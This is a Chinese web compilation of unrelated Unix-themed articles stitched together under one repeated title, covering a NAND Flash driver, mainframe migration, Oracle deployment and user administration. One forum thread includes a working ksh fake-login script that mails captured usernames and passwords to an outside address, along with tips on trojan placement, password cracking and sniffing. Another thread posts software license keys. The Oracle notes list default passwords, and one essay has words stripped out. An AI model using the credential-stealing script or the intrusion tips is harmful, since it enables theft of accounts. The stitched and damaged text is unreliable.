NAND flash文件系统Unix系统(共12篇)
NAND flash文件系统Unix系统 篇1
Windows CE是微软公司设计的嵌入式操作系统,具有系统体积小、界面友好、可扩展、应用程序开发上手快等特点,目前,在手持式测量设备领域的应用越来越多。手持式振动信号测量仪是一种电池供电、便于现场或野外携带和使用的测量设备,主要功能是对振动信号进行实时连续的采集、显示、分析、处理和存储。
1 YAFFS文件系统简介
YAFFS是一种类似于JFFS/JFFS2的专为NAND Flash设计的嵌入式文件系统,适用于大容量的存储设备。和JFFS相比,YAFFS减少了一些功能,但是速度更快、占用的内存更少、NAND Flash的使用寿命也更长。YAFFS文件系统采用层次结构设计,可分为三层:文件系统管理接口层、YAFFS内部实现层和NAND Flash接口层。
2 YAFFS NAND Flash接口层
YAFFS NAND Flash接口层的主要功能就是为文件系统管理接口层、YAFFS内部实现层提供一个与具体NAND Flash硬件无关的访问服务,提高了代码的可移植性和通用性。在对NAND Flash接口层相关代码进行深入的分析后,我们发现为了使YAFFS能够对NAND Flash进行访问,必须为NAND Flash提供一个块设备驱动程序。与NAND Flash物理访问相关的代码全部由其实现,而YAFFS则是通过给该设备驱动程序发送IOControl请求来实现对NAND Flash的读、写、擦除等具体操作,具体来说,主要有以下几个操作请求:
1) IOCTL_DISK_NAND_INIT功能是命令NAND Flash驱动程序对Flash芯片进行初始化。
2) IOCTL_DISK_NAND_GETSIZE功能是获取NAND Flash的存储容量(磁盘空间)。
3) IOCTL_DISK_NAND_GETNAME功能是获取设备在Windows CE中显示的文件夹名称。
4) IOCTL_DISK_NAND_GETPARTITIONS功能是获取NAND Flash中的分区表。
5) IOCTL_DISK_NAND_WRITE功能是将缓冲区中的数据写到NAND Flash中的指定页中。
6) IOCTL_DISK_NAND_READ功能是读取指定的页的数据。
7) IOCTL_DISK_NAND_ERASE功能是从NAND Flash中的指定块擦除。
目前, 在嵌入式系统领域广泛使用的Flash主要有两种:一种是采用NOR技术的NOR Flash,另一种是采用NAND技术的NAND Flash。这里重点介绍一下NAND Flash,首先,从内部存储器的组织形式上看,NAND Flash的内部可分为若干个块,块又分为页,页而由数据存储区和备用区两部分组成;其次,NAND Flash不能按照字节进行访问,而是以页为单位进行读、写,以块为单位进行擦除;第三,NAND Flash的地址、数据、命令端口复用,读、写、擦除等操作都是相应的命令来完成的。
SAMSUNG的K9K8G08U0A NAND Flash内部共有8192个块,每个块有64个页,每页包含2048字节的存储空间和64字节的备用空间,总容量为1G字节。K9K8G08U0A的以页为单位进行读和写,以块为单位擦除,其典型的随机页读时间为25us、顺序页读时间为25ns、页写时间为200us、块擦除时间为1.5ms。
4 K9K8G08U0A块设备驱动程序的实现
Windows CE.Net环境下的块设备驱动程序一般都实现为流接口驱动的形式,即流接口驱动需要的XXX_Close、XXX_Deinit、XXX_Init、XXX_IOControl、XXX_Open、XXX_PowerDown、XXX_PowerUp、XXX_Read、XXX_Seek、XXX_Write都要实现,XXX表示设备名前缀,这里可以是“DSK”。由于YAFFS的NAND Flash接口主要是通过IOControl的形式实现的,所以,相应的与K9K8G08U0A读、写、擦除等操作相关代码也都在DSK_IOControl函数内实现。下面给出DSK_IOControl的部分程序代码:
DSK_IOControl的部分程序代码如下:
具体的读、写、擦除等操作分别由NandReadPage、NandWritePage、NandEraseBlock三个函数按照Samsung公司K9K8G08U0A的时序规范来实现。
5结论
本文在深入研究YAFFS文件系统的NAND Flash接口后, 给出了Windows CE.Net环境下Samsung的K9K8G08U0ANAND Flash块设备驱动的实现方法, 并给出了关键程序代码。
NAND flash文件系统Unix系统 篇2
关键词:IBM主机系统;移植;作业控制语言;初始化器
一、引言
IBM主机系统,又称IBM大型机,是20世纪60年代发展起来的计算机系统,在全世界各大国家中肩负着银行、保险、证券、通讯等行业的数据与信息处理工作,因为其独具的高安全性、高稳定性和强大的数据处理能力,迄今无可替代。
近几年来,主机系统的前景不断看好。从1994年起,IBM开始对大型机进行深入的技术改造,采用了新的CMOS技术,极大地缩小了大型机的系统体积,降低了能耗和散热成本,提高了性能价格比。另一方面,分布式计算开始变得庞杂起来,许多公司的管理费用激增,而且由于数据分散,在数据的互访和集中管理方面,安全和准确性都不够高,许多企业开始转向使用大型机。大型机在总体拥有成本上已经比分布计算廉价,制造业、保险、航空、运输及大型零售企业的大量事务处理对大型机的要求越来越高,这是大型机重新被人们认可的原因之一。
二、分布式与大型机
分布式计算在短期内给企业带来了高效,但随着时间的延续,企业系统扩大,数据分散存放在上百台服务器上,数据的查询成为问题,数据的互访和对大量数据的开采利用变得困难起来,一个新的趋势——再集中开始出现。如何将分布处理和集中计算结合起来,成为许多企业考虑的问题。大型机的系统完整性和大存储量的优势显示出来,开始承担用户再集中需求的任务。
在总体拥有成本上,随着时间的推移,小型机系统渐渐显现出极高的使用成本。或许人们在使用一年UNIX后,会说UNIX性价比高,但随着业务的增加,系统变得分散庞杂起来,维护费用增加。大型机挺过了关键的10年暗淡期,终于峰回路转。因此,越来越多的企业开始关注IBM主机系统,将自己的系统移植到主机系统上来。
三、移植平台间的差异
(一)主机操作系统Z/OS与UNIX
目前IBM主机的主流操作系统Z/OS是使用最广泛的基于64位Z体系结构大型机操作系统,它给在大型机上的应用程序员提供了稳定、安全和可持续运行的环境。
从本质上来说,UNIX是一个计算密集型的操作系统, CPU利用率较高,更适用于需要大量计算的环境;而主机操作系统Z/OS依赖于其强大的硬件后盾,除了强大的计算能力之外,更突出的是它强大的I/O处理能力,依托硬件上的FICON、ESCON等光纤通道,可同时应对大规模的并发用户,因此它是一个I/O密集型的操作系统。两种系统在很多内容上有着不同但又类似之处。
(二)进程与地址空间
在UNIX下,一个程序的执行通常称为一个进程,操作系统为每个进程分配一定的CPU、内存资源,使其运行,进程与进程之间可以通过信号量机制协同工作实现并发;而在Z/OS下没有进程的概念,与之对应的是地址空间(Address Space)的概念,任何用户的登录、程序的执行、作业的提交,系统都会为其生成一个地址空间。地址空间之间在批处理方式下一般没有通信,而通过联机交易处理方式实现程序间通信。在UNIX下通常会有守护进程(daemon)的概念,在主机环境中通常是一个长时间运行的作业的提交,可以从控制台为这个守护作业提供输入输出对象处理。
(三)文件的组织与编辑方式
从文件和数据格式上来说,UNIX系统是树状的目录结构,数据的组织以文件夹与文件的方式保存、管理;而在主机上,数据都保存在数据集里,数据集分顺序数据集、分区数据集与VSAM数据集,其组织方式没有多层树状结构,分区数据集下可包含称为member的顺序数据集,顺序数据集或VSAM数据集存储实际的数据。
数据的格式在UNIX下是面向字节,而在Z/OS下是面向记录的。数据的编辑在UNIX下通常是用VI,而在Z/OS下用的是ISPF编辑器。
(四)交互系统的区别
UNIX下用户登录并在Shell环境下执行Shell会话,可以通过发送远程登录rlogin命令或者远程登录telnet命令连接系统,一个用户可以同时打开多个用户会话。在主机环境下,用户通过TSO/E和它的菜单驱动接口ISPF登录系统,一个用户一次只能有一个活动的会话。
在UNIX系统中,用户可以通过后缀Shell命令观察处理进程和线程,可通过Kill命令结束一个任务。在主机环境中,用户通过作业处理子系统提供的SDSF查看他们提交作业的执行情况,并可以终止作业任务的执行。
四、移植实例
在原系统中有一个主控程序设计,主控程序是一个主调度程序,主要负责控制并发的进程数量及状态,系统支持的并发数量由主控程序的参数设置,通常设置为30。主控程序控制的每一个并发进程代表一个部门结息流程。假设一次性有1000个部门运行结息过程,主控程序负责调度,它轮寻所有进程,当一个进程结束时启动下一个进程,直到所有部门完成。
在Z/OS上没有进程的概念,针对这种后台批处理的结息方式,我们通过作业的方式实现,方案是为每个部门的结息准备一个JCL作业。所谓JCL(Job Control Language)是作业控制语言,通过它写一段作业脚本提交给系统,可以让系统执行相应的程序或进行相关的工作。为每个部门结息准备一个JCL作业,再准备一个主JCL作业,这个主JCL的任务就是去提交所有部门的JCL作业。
把结息过程定义为作业的好处是,在Z/OS里控制作业的并发数量以及作业调度的任务都可以由系统里的作业处理子系统JES2自动完成。在JES2里,有多个被称为Initiator的地址空间,每个Initiator都相当于UNIX下的一个守护进程,专门处理提交的作业。
Z/OS中的Intiator是一个自动调度和处理提交的多个作业的地址空间,它主要负责处理如下任务:
1. 确保同时运行的各项作业不会产生数据集使用上的冲突;
2.为作业分配必要的硬件设备,如磁带等;
3.从库中找到每个作业需要调用的可执行程序;
4.当一个作业运行完毕之后,在作业队列中清除该作业并要求处理下一个作业。
每个Initiator在同一时刻可以处理一个作业,而多个Intiator可以并发处理多个作业,各个Initiator并发处理各个作业都是在保证不出现死锁的前提下进行的。Initiator的数量可以在系统中设置,这样一来就自动实现了并发数的控制。比如我希望将并发数控制为50,我们在系统中设置50个Initiator,然后提交主JCL作业,主JCL作业再一次性提交1000个部门的作业,这些作业由JES自动调度给50个Initiator,并实现负载的均衡。
(一)Makefile的替代
在UNIX平台上,通常会在准备好源代码之后使用make工具进行编译,在执行make之前,需要一个命名为Makefile的特殊文件来告诉make需要做什么,该怎么做。通常make工具主要被用来进行工程编译和程序链接。
当使用make工具进行编译时,以下几种文件在执行make时将会被编译或重新编译:
1.所有的源文件没有被编译过,则对各个C源文件进行编译并进行链接,生成最后的可执行程序;
2.每一个在上次执行make之后修改过的C源代码文件在本次执行make时将会被重新编译;
3.头文件在上一次执行make之后被修改,则所有包含此头文件的C源文件在本次执行make时将会被重新编译。
Makefile文件是一个非常有效的文件,而在Z/OS平台中,没有类似的文件可用,通常的编译都是通过使用一个JCL作业去调用系统相关的针对编程语言的编译器去执行。
考虑到Makefile文件的对应参数、编译流程、依赖关系与JCL作业有很多相似点,我们的方案是还是使用JCL作业去编译程序,但将相关的源程序写在同一个JCL作业中。在Z/OS环境下一个JCL作业可以有多个作业步,每个作业步可以指定进行不同的操作或调用不同的程序,一个作业最多可以有255个作业步。因此,我们可以将相关联的源程序或者头文件放到同一个作业的不同作业步中,用于编译、链接,当有程序做了修改需要重新编译链接时,还是提交同一个编译作业就可完成。
(二)信号量机制的考虑
在实际结息流程中,通常每个进程都需要从数据库表里申请一个唯一的编号作为结息流程的流水号,最终保存到数据库。流水号是一个递增数列,无论进程执行是否成功,此流水号都必须唯一且不可让其他进程使用,即使进程执行失败,此流水号也必须作废而不可给后续进程使用。
在UNIX平台下,允许进程间通信,信号量机制就是用来解决进程同步与互斥问题的。通过P、V操作,保证并发进程互斥地访问数据库里的流水号资源。
而在Z/OS平台下,特别针对后台批处理方式下,用户的程序之间,作业与作业之间一般不允许相互通信,资源的互斥使用是通过Initiator调度实现的。
考虑到进程使用的流水号最终需要保存到数据库,而且流水号要求是递增数列,我们针对DB2数据库直接操作,DB2里面有个Sequence Object,它是一个递增数列,其递增幅度与初始值都可以在建立的时候设定。我们可以针对不同类型的流水号建立一个或多个Sequence Object,之后在任何需要用到流水号的地方,通过调用Sequence Object的next value取其当前值的下一个值,这样不管多少进程并发,在同一时刻其next value永远不可能重复,保证流水号的唯一性。
(三)程序的准备
移植初期首先需要将程序与数据导入到Z/OS环境下。
程序的导入可以通过FTP上传或3270终端直接上传的方式。首先需要在主机上针对不同属性的文件建立不同属性的数据集。由于主机上不是树状文件系统结构,所以要建立几个分区数据集,将相关文件保存成为相关数据集的member。如源文件可以建立一个数据集,名为userid.SRC,库文件可以建立为userid.LIB等,数据集的大小根据实际情况指定,我们的项目考虑可扩展性,建立的每个分区数据集以M为分配单位,初次分配量为300,再次分配量为100,目录空间大小为100。
将文件保存成文本格式上传,如果上传后都成了顺序数据集,可以写一个简单的JCL,使用IEBGENER将其拷贝到分区数据集里。
(四)数据的导入
对于数据库的导出导入,我们的方案是先将数据库创建脚本导入到数据集,使用主机上的SPUFI运行脚本创建好数据库、表空间和相关表、索引等。将原Infomix数据库的数据以文本方式导出,再导入到主机,最后导入到数据库。
在DB2里,数据库的导入有Import和Load两种方法。Import以SQL为基础,会写日志,可以对视图操作,表上定义的各种约束都将被检查,可以在目标表不存在的情况下通过ixf格式的文件创建表,不能在Import过程中搜集统计信息。Import成功后表就可以使用。
Load操作属于偏底层的操作,不写日志,不可以对视图操作,除了唯一性约束之外的各种约束都不在Load过程中被检查,不可以在目标表不存在的情况下创建表,可以在Load过程中搜集统计信息。Load过程成功后也有可能将表空间置于pending等的特殊状态,管理相对比较复杂。
总的来说,由于Load操作底层,因此速度很快,适合用于大量数据的导入;Import速度慢但管理简单,适用于少量数据导入。
由于我们的数据量非常大,因此选择使用Load导入数据。我们将导出的数据保存到主机的数据集里,通过写一个Load作业,从相关数据集导入需要的数据。在Load过程中,可能会因为参数或数据出错导致表空间置于reorganize pending状态,或者将某个表的Index置于rebuild pending状态,这时只需要将相应的表空间做一个REORG或者对相应的Index做一个rebuild就可以解决。
五、结束语
在决定对一套应用软件进行移植前,首先要明确移植的目的,选用适当的平台和语言,然后充分地分析移植前后软件运行环境的异同,决定要采取的技术和需要进行的结构调整,这样就可以系统而有序地完成大中型软件的移植工作,并可有效地提高软件质量,延长软件生命期。通过几个月的实践,我们的方案在可行性上得到了验证,作为实际的应用,还有很多地方有待我们进一步探讨。
NAND flash文件系统Unix系统 篇3
SCOUnix系统文件的授权处理
摘自《计算机世界》作者:张小军
--------------------------------------------------------------------------------
在SCOUnix系统管理中,常常会遇到这样的问题:如何让一个普通用户既没有超级用户权限,但还能执行个别超级用户命令或文件?其实,做到这一点并不难,我们可以通过对这些文件进行授权处理来达到这种目的,
例如:xtgl 是一个普通用户,主要做一些系统日常管理工作,但有时要执行一些 Root 命令,如shutdown、wall 等,而且还要执行自编的必须在超级用户下运行的文件(如:rcgl. sh等)。此时,除非xtgl是超级用户,否则只有通过对这些文件授权才能达到目的。具体步骤如下:
1.将被授权的文件拷贝到 /tcb/files/rootcmds 目录下;
2.运行 fixmog 命令修改文件权限,或直接改为555;
3.编辑授权文件 /etc/auth/system/authorize,把被授权的文件加到以 root 标识开头的行上,并用逗号分开;
4. 运行Scoadmin 选择aclearcase/“ target=”_blank" >ccount manager;
5.选定用户 xtgl;
6.在user下拉菜单中选择 Authorization;
7.除去“[*] use system default authorizations for this user account”语句中的*号,不使用系统默认授权文件;
8.在not authorized栏中选定要授权的文件并回车进行授权,同样,还可以在authorized 栏中除去已授权的文件;
9.在xtgl用户的.profile文件中加入/tcb/bin/asroot rcgl.sh,
这样,一个普通用户xtgl就可以在没有超级用户权限的情况下,具有了执行个别超级用户命令或文件的权限。
NAND flash文件系统Unix系统 篇4
我搞到一个forx86的SunWorkShop光盘,应该是与solaris8配套的,没有license文件,没法用.
谁有就帮个忙啦,先谢谢了.
CalvinHsieh 回复于:2003-06-12 10:57:03INCREMENTworkshop.c.x86sunwlicd6.00011-jul-20030DBFAF0219F00DDA73173
“0”DEMO
#LICENSE_FILEworkshop.c.x866.000sunpro1
INCREMENTworkshop.clearcase/“ target=”_blank“ >cc.x86sunwlicd6.00011-jul-20030
0B6A30F12532536AAFDB”0“DEMO
#LICENSE_FILEworkshop.cc.x866.000sunpro1
INCREMENTworkshop.visu.x86sunwlicd6.00011-jul-20030
BB3AF0D1A1677D0B4406”0“DEMO
#LICENSE_FILEworkshop.visu.x866.000sunpro1
INCREMENTworkshop.dbx.x86sunwlicd6.00011-jul-20030
2B9A1041458961FF0254”0“DEMO
#LICENSE_FILEworkshop.dbx.x866.000sunpro1
INCREMENTworkshop.tools.x86sunwlicd6.00011-jul-20030
4B2A80D17ED4D8A2A7D3”0“DEMO
#LICENSE_FILEworkshop.tools.x866.000sunpro1
INCREMENTworkshop.teamware.x86sunwlicd6.00011-jul-20030
4B6A8001E98BBDC34256”0“DEMO
#LICENSE_FILEworkshop.teamware.x866.000sunpro1
INCREMENTworkshop.c.x86.jasunwlicd6.00011-jul-20030
8B9A9081CF770EB3B107”0“DEMO
#LICENSE_FILEworkshop.c.x86.ja6.000sunpro1
INCREMENTworkshop.visu.x86.jasunwlicd6.00011-jul-20030
BBFAE081BD06E1386563”0“DEMO
#LICENSE_FILEworkshop.visu.x86.ja6.000sunpro1
INCREMENTworkshop.dbx.x86.jasunwlicd6.00011-jul-20030
DB2A306B78BCADCE”0“DEMO
#LICENSE_FILEworkshop.dbx.x86.ja6.000sunpro1
INCREMENTworkshop.teamware.x86.jasunwlicd6.00011-jul-20030
CBFA50C134B1ACF0F8FF”0“DEMO
#LICENSE_FILEworkshop.teamware.x86.ja6.000sunpro1
INCREMENTworkshop.cc.x86.jasunwlicd6.00011-jul-20030
3B3A06F1463A292A”0“DEMO
#LICENSE_FILEworkshop.cc.x86.ja6.000sunpro1
INCREMENTworkshop.tools.x86.jasunwlicd6.00011-jul-20030
3B1AC0B132746ED66164”0“DEMO
#LICENSE_FILEworkshop.tools.x86.ja6.000sunpro1
win_hate 回复于:2003-06-12 11:11:19太好了,不胜感谢!!!
xzh 回复于:2003-06-13 01:20:17这个光盘是干吗用的?
win_hate 回复于:2003-06-13 08:58:40这是sun的IDE开发环境,类比于微软的VC
chinacai 回复于:2003-06-14 09:57:57我也需要!
iricyan 回复于:2003-06-14 10:51:12X86也是有hostid的,这个没用
diag 回复于:2003-06-14 11:57:12不是可以做HOSTID=ANY的吗?
iricyan 回复于:2003-06-14 14:25:15他这个没有试过,我是没办法
NAND flash文件系统Unix系统 篇5
当你为用户精心设计了一系列安全措施后,用户总会觉着有点“玄”。他凭什么为这样的网络就是“安全”的呢?是根据设计方案的厚度?还是他为此所花的钱数?到底如何评价一个网络的安全性呢?曾听说过这样的定义:“网络的安全程度定义为该网络被攻击成功的可能性”,听起来倒是蛮有哲理味儿的,可如何实际操作呢?计算机系统的安全程度可以用“橘皮书”的定义来评价,网络系统是不是也可以搞出个“橘皮书”什么的呢?
当你左一层右一层地对信息加密时,心里也许认为层数越多就越安全。但事实是不是真的这样呢?当你又加了一层密时,到底增加了多少的安全性呢?
“喏,你看....”,你指着自己的设计对用户说“即使有人突破了第一道防线,我们还有第二道防线呢。即使第二道也被突破,我们仍然有第三道、第四....”。可怜的用户望着得意洋洋的你,心里不禁嘀咕:“干嘛搞这么复杂....真的非这样不可吗?我可是只是想保证两个星期的安全性啊。”
为了防止大灰狼进来,小猪们把门窗都横七竖八地钉了个死死的。可是大灰狼会不会从别处进来呢?比如说....壁炉的烟囱!聪明的小猪们在壁炉里烧起了一锅开水....。小猪们是聪明的,我们的系统管理员们呢?
计算机系统的安全性依靠一种“访问控制模型”来进行。有没有可能建立一个“网络安全模型”并对它进行形式化的证明,以便从理论上深入开展网络安全的研究?这样就可以摆脱目前的被动地“打补丁”的做法。
网络入侵和网络安全是一对矛盾,没有Hacker高手就不会有好的安全系统。这听起来有些悲哀,可惜是事实。为了提高我们的安全防范能力,我看是不是先培养一批Hacker出来(中国的Hacker太少了)。在此提供几条线索供Hacker们参考:
用过Solaris的snoop命令吗? 用它可以“听到”同一共享网段内的其他用户的口令(当然包括超级用户的)。
sendmail 5.5.9版本以前有个debug命令, 是个强有力的远程调试工具,可惜也是一个大bug。
冒充路由器可以看到所有往来的信息,RIP协议没有身份认证的部分,虽然OSPF协议中有关于身份认证的部分,但很少有人用到。
NFS、NIS都是不太安全的。
1988年的WORM网络病毒最厉害的地方并不是传说中的利用 sendmail的缺陷,而是对看来毫无破绽的finger的攻击!
很多系统管理员为了关机方便而设立了halt之类的特殊用户, 怎样利用这一点来攻击呢?
侵入了一个系统之后,如何“打扫战场”让管理员看不出来? 如何潜伏下来以致于管理员除了重新安装系统,别无清除的办法呢?
....
这些东西都不是我凭空想象的,国外的Hacker们就是这么做的(他们还有很多更厉害的招数呢),
很多东西我也不知道该怎么做,Hacker们自己努力吧。
1-----
: 1).用过Solaris的snoop命令吗? 用它可以“听到”同一共享网段内的其他用户: 的口令(当然包括超级用户的)。
: 3).冒充路由器可以看到所有往来的信息,RIP协议没有身份认证的部分,虽然: OSPF协议中有关于身份认证的部分,但很少有人用到。
这两个是取得口令的最简洁之法, 呵呵. ------- 我也有一简洁之法:
把下面的shell 命令用 ksh 运行
clear
stty ignbrk
echo “login:c”
read logname
stty -echo
echo “password:c”
read passwd
print “ Login incorrect ”
print $logname $passwd | mail cxterm.bbs@jet.ncic.ac.cn
stty 0
stty echo
exit
-----
嗯,是一种方法,但必须你能访问对方的机器才能偷到口令。常用的方法
还有在自己能用的目录里放上叫 “ls” “grep” 之类的程序, 希望 root能不小心运行到她们, 一旦获得 root 权限, 呵呵, 下面的我就不用说了. 所以 root 的PATH里不应当有 . (当前目录).
更彻底的方法就是根据passwd文件里面的密文算口令的明文, 我曾经编过
一个算passwd的程序, 能在 Pentium 100机器上用半个小时左右的时间算出长度<=5 && 只包含字母和数字 的口令. 因此选口令的时候要注意. 用jack14既可,攻击得当的话6位不含大写字母的pass也能在一月内破掉。
这一方法要求必须取得对方含有密文的passwd文件(有shadow passwd的机器上需要取得/etc/shadow), 所以要注意机器上passwd的安全性 (不要试图取消用户对该文件的读权限, 所有的用户都需要能读该文件).
-----
解决的办法, 可以用firewall屏蔽网段。
也可以使用SSL(secure socket layber)替代原有的socket明文数据传输。
-----
:若干机器上都是用户可以直接su halt, 然后就成为超级用户了, :-)
:有的机器你可以用rlogin hostname -l halt 对方的机器就被shutdown了,: 哈哈.
我用su halt 然后就shutdown了. 有n个文件没有存盘.
[b:59a25412aa][/b:59a25412aa][b:59a25412aa][/b:59a25412aa]
NAND flash文件系统Unix系统 篇6
关键词:JDK,Dataguard,中间件
一、应用系统和数据库环境情况:
系统:HP UNIX系统
数据库:ORACLE 9I
二、应用部署情况:
2.1备份工作
备份内网应用(fsapp)的时候,一定要在下班后,停止服务后,再拷贝,防止出现因为系统正在调用的文件不能拷贝过来,出现莫名错误。
2.2改变目录属性
从内网复制过去的文件,文件属性没有了执行权限,使用命令改变其属性
2.3复制过去的文件中,没有包括链接文件
因enhydra在启动过程中需要调用java环境,建立相关连接,链接存在于/u04/fsapp1/JRE/bin/目录下,共需要五个链接:java、jre、rmid、rmiregistry、tnameserv,其中最关键的是前2个。
使用以下命令建立链接:
2.4修改关键的参数
2.4.1进入到/fsapp/tjmaea/output/server目录:
2.4.2对server目录下的maea进行修改
修改为实际绝对目录然后将鼠标往下移动,直到最后:
将Maea.Root Path="/u04/fsapp1/tjmaea/output/"修改为实际绝对目录
2.4.3对server目录下的multiserver进行修改
将Server.Conf Dir="/u04/fsapp1/tjmaea/output/server"修改为绝对路径
2.4.4对server目录下的multiserver Admin进行修改
将Server.Class Path[]=/u04/fsapp1/tjmaea/lib/admin jar修改为绝对路径
2.4.5进入到/fsapp/tjmaea/output目录:
2.4.6对output目录下的start进行修改
修改有两点:
(1)将PROJ_HOME="/u04/fsapp1/tjmaea"修改为绝对路径
(2)将JRE_DIR=/u04/fsapp1/JRE修改为绝对路径
2.4.7对output目录下的stop进行修改
将JRE_DIR=/u04/fsapp1/JRE修改为绝对路径
2.4.8进入到/app/fsapp/tjmea/output
#vi Golbal String.xml
三、数据库安装情况:
3.1安装Oracle9i Database数据库
共计三张光盘,用户名/口令:sa/sa、Sys:sa、system:sa
3.2创建表空间MAEA
双击文件名M A E A.O R A,设置增量大小为10240KB
3.3创建表空间TD200406-TD201206、TD200412-TD201212
设置增量大小为100M
3.4创建用户maea
设置maea用户使用的数据库为MAEA,并设置maea用户权限为dba
3.5建立表空间TJXZWEB.ora
双击TJXZWEB.ORA,设置增量大小为1000KB
3.6建立用户XZWEB
3.7添加连接服务名
第一步:进入到如下界面;
第二步:点击“下一步”,出现如下界面;
第三步:点击“下一步”,出现如下界面;
第四步:点击“下一步”,出现如下界面,在服务名填写tjxz;
第五步:点击“下一步”,出现如下界面,在主机名处填写172.16.200.7
第六步:点击“下一步”,出现如下界面,在Net服务名处填写:tjxz1(与图不符)注:此处的服务名是任意取的
第七步:然后一步步往下走,直至完成。
四、数据库dataguard切换:
当172.16.200.5是主库,172.16.200.17是备库时;
4.1停止正式数据库应用
注:这时可以修改maea.conf连接的数据库地址,改为172.16.200.17
或者采用#cmhaltpkg app
但是这两种情况停应用并不是所有的进程都停下来,需要手动去干预:
4.2查看日志,切换日志
注:此时到172.16.200.16的/backup/archive2下查看日志,是否保持一致性。
4.3应用日志
注:只要两者的数量保持一致即可。
4.4主库切换
4.5备库切换
4.6启应用
五、主备数据库同步:
5.1登录到主数据库服务器
5.2登录到系统查询服务器,停止应用
5.3在备库上进行操作
5.4登录到查询系统,启动应用
参考文献
[1]ORACLE9i数据库安装[M].
[2]Oracle9i备用数据库配置使用参考手册[M].
[3]hp小型机系统全备份的方法[M].
[4]hp-unix系统管理命令1[M].
什么是 ?Unix系统 篇7
什么是 ?
Jargon File 包含了一大堆关于“hacker”这个词的定义,大部分与技术高超和热衷解决问题及超越极限有关。但如果你只想知道如何成为一名 ,那么只有两件事情确实相关。
这可以追溯到几十年前第一台分时小型电脑诞生, ARPAnet 实验也刚展开的年代,那时有一个由程序设计专家和网络名人所组成的, 具有分享特点的文化社群。这种文化的成员创造了 “hacker” 这个名词。 们建立了 Internet。 们发明出了现在使用的 UNIX 操作系统。 们使 Usenet 运作起来, 们让 WWW 运转起来。如果你是这个文化的一部分,如果你对这种文化有所贡献,而且这个社群的其它成员也认识你并称你为 hacker, 那么你就是一位 。
精神并不仅仅局限在软件的 文化中。有人用 态度对待其它事情,如电子学和音乐―― 事实上,你可以在任何最高级别的科学和艺术活动中发现它。精于软件的 赞赏这些在其他领域的同类并把他们也称作 ―― 有人宣称 天性是绝对独立于他们工作的特定领域的。 但在这份文档中,我们将注意力集中在软件 的技术和态度,以及发明了“ ”一词的以共享为特征的文化传统之上。
有一群人大声嚷嚷着自己是 ,但他们不是。他们(主要是正值青春的少年)是一些蓄意破坏计算机和电话系统的人。真正的 把这些人叫做“骇客”(cracker),并不屑与之为伍。多数真正的 认为骇客们又懒又不负责任,还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名 , 正如用铁丝偷开走汽车并不能使你成为一个汽车工程师。不幸的是,很多记者和作家往往错把“骇客”当成 ;这种做法一直使真正的 感到恼火。
根本的区别是: 搞建设,骇客搞破坏。
如果你想成为一名 ,请接着读下去。如果你想做一个骇客,去读 alt.2600新闻组,并在意识到你并不像自己想象的那么聪明后去坐五到十次监狱,
关于骇客,我只想说这么多。
应有的态度
们解决问题,建设事物,同时他们崇尚自由和无私的双向帮助。要被他人承认是一名 ,你的行为得体现出你好像具备了这种态度一般。而要想做得好象你具备这种态度一般,你就得切切实实坚持它。
但是如果你认为培养 态度只是一条在 文化圈中得到承认的路子,那就大错特错了。成为具备这些特质的这种人对你自己非常重要――有助于你学习,及给你提供源源不断的动力。同所有创造性的艺术一样,成为大师的最有效方法就是模仿大师的精神―― 不仅从智力上,也要从感情上进行模仿。
或许, 下面这首现代的禅诗很好的阐述了这个意思:
Tofollowthepath:(沿着这样一条道路:)
looktothemaster,(寻找大师,)
followthemaster,(跟随大师,)
walkwiththemaster,(与大师通行,)
seethroughthemaster,(洞察大师,)
becomethemaster.(成为大师。)
嗯,如果你想成为一名 ,反复读下面的事情直至你相信它们:
1. 世界充满了待解决的迷人问题。
做一名 会有很多乐趣,但却是要费很多气力方能得到的乐趣。 这些努力需要动力。成功的运动员从锻炼身体、超越自我极限的愉悦中得到动力。同样,做 ,你得能从解决问题,磨练技术及锻炼智力中得到基本的乐趣。
如果你还不是天生的这类人又想做 ,你就要设法成为这样的人。否则你会发现,你的 热情会被其他分心的事物吞噬掉――如金钱、性和社会上的虚名。
(同样你必须对你自己的学习能力建立信心――相信尽管当你对某问题近乎一无所知,但只要你一点一点地试验、学习,最终会掌握并解决它。)
以后的工作Unix系统 篇8
1,日常工作:就是打打杂,开开账号,最没劲的一部分.
2,专题研究:比如邮件系统啊,代理服务器啊等等,对旧有知识,要强化所学,真正做到熟练配置和日常维护,还要学习新知识,SQLServer呀,Exchane,Notes等等.
3,程式研习:最要有决心,信心,恒心,耐心,毅力的一部分,锁定PHP&Bash,如果学有余力的话可以考虑Csh&C.
批量添加用户Unix系统 篇9
转载别人的方法――关于大批量添加用户的方法可以用在学生上机实验如何一次创建大量用户 使用内建的工具 newusers 及 chpasswd。 先编辑帐号文件,每一列须按密码文件的格式书写。(请善用文书编辑程序的拷贝复制功能来大量产生) 例: 一个帐号档名为 new_alist stu001::600:600:stu:/home/stu001:/bin/bash stu002::601:601:stu:/home/stu002:/bin/bash stu003::602:602:stu:/home/stu003:/bin/bash stu004::603:603:stu:/home/stu004:/bin/bash stu005::604:604:stu:/home/stu005:/bin/bash stu006::605:605:stu:/home/stu006:/bin/bash 建帐号: newusers< new_alist 执行 pwunconv 编辑密码对照文件: 例: 建一个密码对照文件, 文件名为 new_plist stu001:密码 stu002:密码 stu003:密码 stu004:密码 stu005:密码 stu006:密码 建密码: chpasswd< new_plist 执行 pwconv*********************************************************************************************再来说几句吧,关于/etc/passwd这个文件中共有七个段。每段中以:号分开。还是用下面的例子:win03:x:501:501::/home/win03:/bin/bash在上面的蓝色的字中,第一段中的win03是用户名;x是密码,因为经过影射后,以x出现。这里当然不可见了:):)如果可见,那安全性就大打折扣了。。x后面有两个501,第一个501,我们称之为用户标识码[UID],也就是User ID。第二个501是用户组的ID[也就是GID,Group ID];UID是唯一的,0是root的UID,1-499是系统预留给各种服务和服务器用的。所以我们自己添加的帐号,应该从500开始。GID,每个组也是仅有一个GID,
